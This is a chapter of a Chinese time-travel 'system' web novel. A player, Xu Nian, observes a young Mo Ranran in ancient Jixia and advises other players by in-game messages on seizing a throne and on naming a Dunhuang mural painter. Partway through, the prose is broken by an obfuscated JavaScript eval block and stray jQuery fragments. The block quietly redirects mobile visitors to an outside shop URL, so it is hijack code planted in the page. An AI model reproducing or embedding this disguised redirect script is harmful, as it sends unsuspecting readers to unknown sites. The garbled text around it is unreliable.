春天快结束的时候，小墨染认识了三百多个字。
“兼爱是什么意思？”淳于髡问。
“爱所有的人。”
“怎么爱？”
“像爱自己一样爱别人。”
“你做得到吗？”
小墨染沉默了一会儿。
“我不知道。”
她老实地说，“我没试过。”
淳于髡笑了：“你不像墨家的人。墨家的人从来不说不知道，他们什么都敢说。”
“先生是说我不好吗？”
淳于髡笑容渐缓，“知道自己不知道的人，才有资格学。那些什么都知道的人，其实什么都不知道。”
小墨染默默把这些话记在心里。
那天下午，她从学宫出来，沿着巷子往家走。
走到稷下学宫西墙外的岔路口时，她看见一个人。
墨子砚坐在路边的石头上，手里拿着一卷竹简，低头在读。
“子砚？”
他抬起头，朝她笑了笑。
“等你呢。”
“等我干嘛？”
“你不是今天认字考过了吗？我爹说淳于先生夸你悟性好。”
小墨染的耳朵尖又红了。
“我才考了第三。”
“第三已经很厉害了。比你大五岁的那些学子，好多都没考过。”
小墨染嘟囔了一句什么，墨子砚没听清。
“你手里拿的什么？”小墨染问。
墨子砚把手里的竹简递给她。
每一页的边上都写满了密密麻麻的批注，字迹工整清秀，把原文里难懂的地方都翻译成了更浅白的话。
“这是我自己写的注。”
墨子砚说，“我读的时候觉得有些地方不好懂，就顺手把理解写旁边了。你刚学，拿去看吧，应该能帮你。”
小墨染接过竹简，翻了翻。
“那你怎么办？你不看了？”
“我背下来了。”
小墨染合上竹简，抱在怀里。
“谢谢。”她说，声音很小。
墨子砚笑了笑：“走吧，我送你回去。”
两个人沿着巷子走。
夕阳把他们的影子拉得很长。
“子砚。”
“嗯？”
“你为什么对我这么好？”
墨子砚想了想：“因为你比我聪明。”
“骗人。”
“真的。”
墨子砚说，“我爹说过，有的人天生就是匠人的料，看一眼就能看穿机关的结构。你就是那种人，我就不行，我追不上你。”
小墨染停下脚步，转身看着他。
“你不用追上我啊。”她说，“我们站一起就好啦。”
子砚神情微怔，然后眉眼弯弯。
“好。”他说。
许念跟在后面，看着这两小无猜的俩小家伙，每天狗粮吃到爆炸。
她总算是知道为啥墨子砚在长城上飘那么久都不愿意投胎转世了。
合着从小就对人家图谋不轨。
她习惯性看了眼任务时间。
【支线任务剩余时间：48h；任务一剩余时间：6天。】
没有任何变化。
许念回到过去满打满算也有一个多月了，不知道剩下的其他人任务情况怎么样。
虽然公共频道有可以互相联系的简讯工具，但她总觉得这玩意儿不能轻易使用。
正在她思考要不要用墨玉加快时间进度，弄清楚小墨染的下个人生关键节点发生什么的时候。
公共频道界面弹出了一个通讯请求。
【通讯发起者：玩家虞秋
是否同意该玩家的通讯请求？】
许念毫不犹豫就选择了同意。
【虞秋：你能告诉我女人怎么当皇帝吗？】
许念：.......
【许念：你调查了他为什么要这样做吗？】
虞秋直接发了一封文件过来。
沈默，临安人氏，少时以才名闻于乡里。
绍兴初年，默入仕，时权相柄国，默趋附之，渐得信用，为相府耳目。凡相府所指，不问是非，必罗织罪名，穷治其狱。
妻林氏，大家女也，从默十五年，操持内外。默显贵后，渐疏远之。绍兴二十二年春，默忽以“妻族罪臣之后，有碍官声”为由，出妻逐子。
默素与顾长风友善。长风耿直敢言，为权相所忌。默为求自保，于朝堂上弹劾长风“妄议朝政，动摇国本”，使其罢官归田。
【虞秋：这是我做任务得到的资料，我有他不得已这样做的证据。但是目前皇帝宰相的权利太大，一直阻挠我公布这些证据。我打算先当皇帝，然后再澄清真相。
可是我发现这里好像没什么女人的晋升通道，我想通过武力镇压，但会被系统罚。你知道女人怎么不通过武力当皇帝吗？】
许念倒吸一口凉气。
女人当皇帝吗？
历史上出名的也就那几位。
不管什么人当皇帝肯定得有武力啊，不然怎么服众。
【许念：你在那边的身份是什么？你说的武力，具体指的哪种？】
【虞秋：一个普通丫环，把反对的人全杀了不就行了。】
许念冥思苦想也没想出来系统为什么不允许虞秋使用武力。
不过她还是给了虞秋另外一个可实操的办法。
【许念：找个夺权有希望的皇子，获取他好感，帮他夺位。然后把他当傀儡或者噶了他，这是皇帝篡位的惯用手法。】
【虞秋：好吧，真麻烦，我去试试，成功了再联系你。】
许念又仔细回顾了虞秋的通讯。
系统不允许使用暴力？
可是她睁开眼的第一瞬间，骸断掉的手臂，还有那血液的新鲜程度都在告诉她。
那四个互相认识的玩家之间，存在非同一般的个人恩怨。
难道在她睁眼之前，就已经有人被罚过，再加上她坑骸的那一次系统播报。
这才导致虞秋不太愿意被系统惩罚。
只是不太愿意，但并不意味着他们必须严格遵守系统规则。否则骸不会受伤，也不会这么不识好歹非要找她麻烦。
说起来她现在还不知道这个世界回声币的汇率，罚了100W这个惩罚到底算多重，被标记又意味着什么。
许念沮丧地看了眼手上的回声环。
0。
这个数字特别扎眼。
不管怎么说，虽然不知道0意味着什么。但既然回声的数量跟生命的长短挂钩，这里显示为0绝对意味着不好的情况。
许念正打算继续使用墨玉跳转时间节点的时候。
【通讯发起者：幻影、清衍
是否同意该玩家的通讯请求。】
......
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566402|204769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
.
合着今天扎堆遇到问题了。
许念默默点击同意，谁让这群土老帽外星人的脑回路清奇无敌。要是不回答，指不定就陷入什么死胡同，耽误任务完成。
【幻影：念宝儿~你懂画吗？这个魂魄生前是个画工，我们想问他名字，他告诉我们他没有名字。这怎么办啊？】
画工？
没有名字？
【许念：他在哪里画？画的什么？】
【清衍：在洞里画，据当地人所述，画的一些菩萨、神仙之类的。这里的画工貌似地位很低，挣钱很少，是被人雇佣锁在这里画的。】
那大概率是莫高窟的画工。
供养人花费大量钱财养着这些画工，为他们描绘精美的壁画。
供养人的名字被刻在碑上、写在壁画旁边，世代传颂。
但他们绝对不允许画工以任何形式留自己的名字在画上面。
【许念：那个魂魄是否对画画这件事很执着？技术好不好？】
【幻影：好得不得了，我见过他画的壁画，那叫一个生动有灵气。他有一个师傅叫尉迟乙僧，据说挺出名的。】
尉迟乙僧。
真名于阗，王族后裔，年少时作为质子入唐。
曾在长安画坛名噪一时，民间野史曾串其画了一幅讽喻朝政的《胡王醉饮图》，被贬出长安，流落至敦煌。
这个名字更加印证了许念的猜想。
【许念：多利用壁画增进跟他的关系，如果等我这边解决，你们还没找到他的名字。那你们就借兄弟关系起哄给他取一个就好了。】
【清衍：.......这样行吗？】
【许念：士为知己者死，打好关系也不是不可以。】
【幻影：你那任务怎么样？我们这任务可无聊了，又是让我们学画画，又是让我们给人搬东西。我说你们这文明也太奇怪了，怎么这么多讲究啊？什么奇奇怪怪的礼仪规矩一大堆。】
【许念：你们能跟人互动？】
【幻影：不互动怎么做任务？】
许念见对方没什么问题之后，直接掐断了通讯。
看起来只有她一个人是只能被目标人物看见的，除她之外的玩家全部都是可以直接和人接触的。
嘶.......
难道只是因为她进的这个支线任务比较特殊导致的吗？
许念眉头一挑，想起了某个被遗忘的系统。
“哎呀，宝贝怎么这么倒霉，被禁言了这么久啊~”
说这句话的时候，她有点心虚。
毕竟她觉得一个无时无刻都能在脑子里说话的人，会干扰自己的思考，降低自己对周围环境观察的敏锐度。
所以她不怎么需要系统的时候，都是手动把它的麦给闭了的。
“哼，有事宝贝，无事闭麦。”
许念用哄孩子的语气说道：“可谁让我家宝贝是全深渊最负责、最聪明、最可爱的系统呢。你一定会对我知无不言，竭尽全力帮我解决问题对吧。”
“哼——那当然。”
“那你知道回声为0跟我现在被人看不见的状态有关系吗？”
“当然——”
她家宝贝又被闭麦了。
这次不是她干的。
算了，等这个副本通关，再跟那个所谓的主统对峙。
许念摸了摸手里的那块墨玉，赶往了下一个时间节点。